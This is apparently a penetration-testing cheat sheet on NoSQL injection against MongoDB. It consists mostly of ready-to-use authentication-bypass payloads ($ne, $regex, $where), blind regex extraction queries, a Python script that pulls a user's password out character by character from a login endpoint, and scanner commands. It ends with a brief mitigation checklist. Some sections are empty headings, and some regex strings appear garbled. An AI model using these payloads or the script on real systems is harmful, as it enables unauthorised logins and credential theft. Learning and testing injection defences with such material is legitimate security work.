NoSQL Injection¶
TL;DR¶
Exploit NoSQL databases (primarily MongoDB) by injecting operators or JavaScript.
Detection¶
Operator Injection¶
// URL Parameters
username[$ne]=admin&password[$ne]=pass
username[$gt]=&password[$gt]=
username[$regex]=.*&password[$regex]=.*
// JSON Body
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
JavaScript Injection ($where)¶
MongoDB Operators¶
Comparison¶
$eq // Equal
$ne // Not equal
$gt // Greater than
$lt // Less than
$in // In array
$nin // Not in array
Evaluation¶
Authentication Bypass¶
Basic Bypass¶
// URL Parameters
username[$ne]=invalid&password[$ne]=invalid
// JSON Body
{"username": {"$ne": ""}, "password": {"$ne": ""}}
Regex Bypass¶
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}
$where Tautology¶
{"$where": "1 == 1"}
{"$where": "this.password.match(/.*/index.html)"}
// String termination
' || 1==1//
admin' || 'a'=='a
Blind NoSQL Injection¶
Boolean-Based (Regex)¶
// Determine password length
{"username": "admin", "password": {"$regex": ".{1}"}} // len >= 1
{"username": "admin", "password": {"$regex": ".{5}"}} // len >= 5
// Extract char by char
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^abc"}}
Time-Based¶
Extraction Script¶
import requests
import string
target = "http://target.com/login"
chars = string.ascii_lowercase + string.digits
def extract_password(username):
password = ""
while True:
found = False
for char in chars:
payload = {
"username": username,
"password": {"$regex": f"^{password}{char}"}
}
r = requests.post(target, json=payload)
if "success" in r.text:
password += char
print(f"[+] Password: {password}")
found = True
break
if not found:
break
return password
$lookup Aggregation¶
Access other collections (if aggregate() is used):
[{
"$lookup": {
"from": "users",
"as": "result",
"pipeline": [{
"$match": {"password": {"$regex": ".*"}}
}]
}
}]
PHP Array Injection¶
Convert parameters to arrays:
PHP interprets param[$key]=value as array.
Payload List¶
// Boolean
{"$gt": ""}
{"$ne": null}
{"$ne": "x"}
{"$gte": ""}
// Regex
{"$regex": ".*"}
{"$regex": "^a"}
{"$regex": ".{5}"}
// Or/And
{"$or": [{"admin": 1}, {"admin": {"$gt": ""}}]}
// Where
{"$where": "1==1"}
{"$where": "this.password.match(/.*/index.html)"}
// Exists
{"$exists": true}
URL Encoding¶
Real-World CVEs¶
- CVE-2023-28359 (Rocket.Chat):
{"$where": "sleep(2000)||true"} - CVE-2024-53900 (Mongoose): RCE via populate().match
Tools¶
# NoSQLMap
python nosqlmap.py -u "http://target/login" --attack 1
# nosqli
nosqli scan -t http://target/login
Mitigation Checklist¶
- Strip keys starting with
$(usemongo-sanitize) - Disable server-side JavaScript (
--noscripting) - Validate data types strictly
- Use Mongoose
sanitizeFilter: true - Validate against schema (Joi, Ajv, Zod)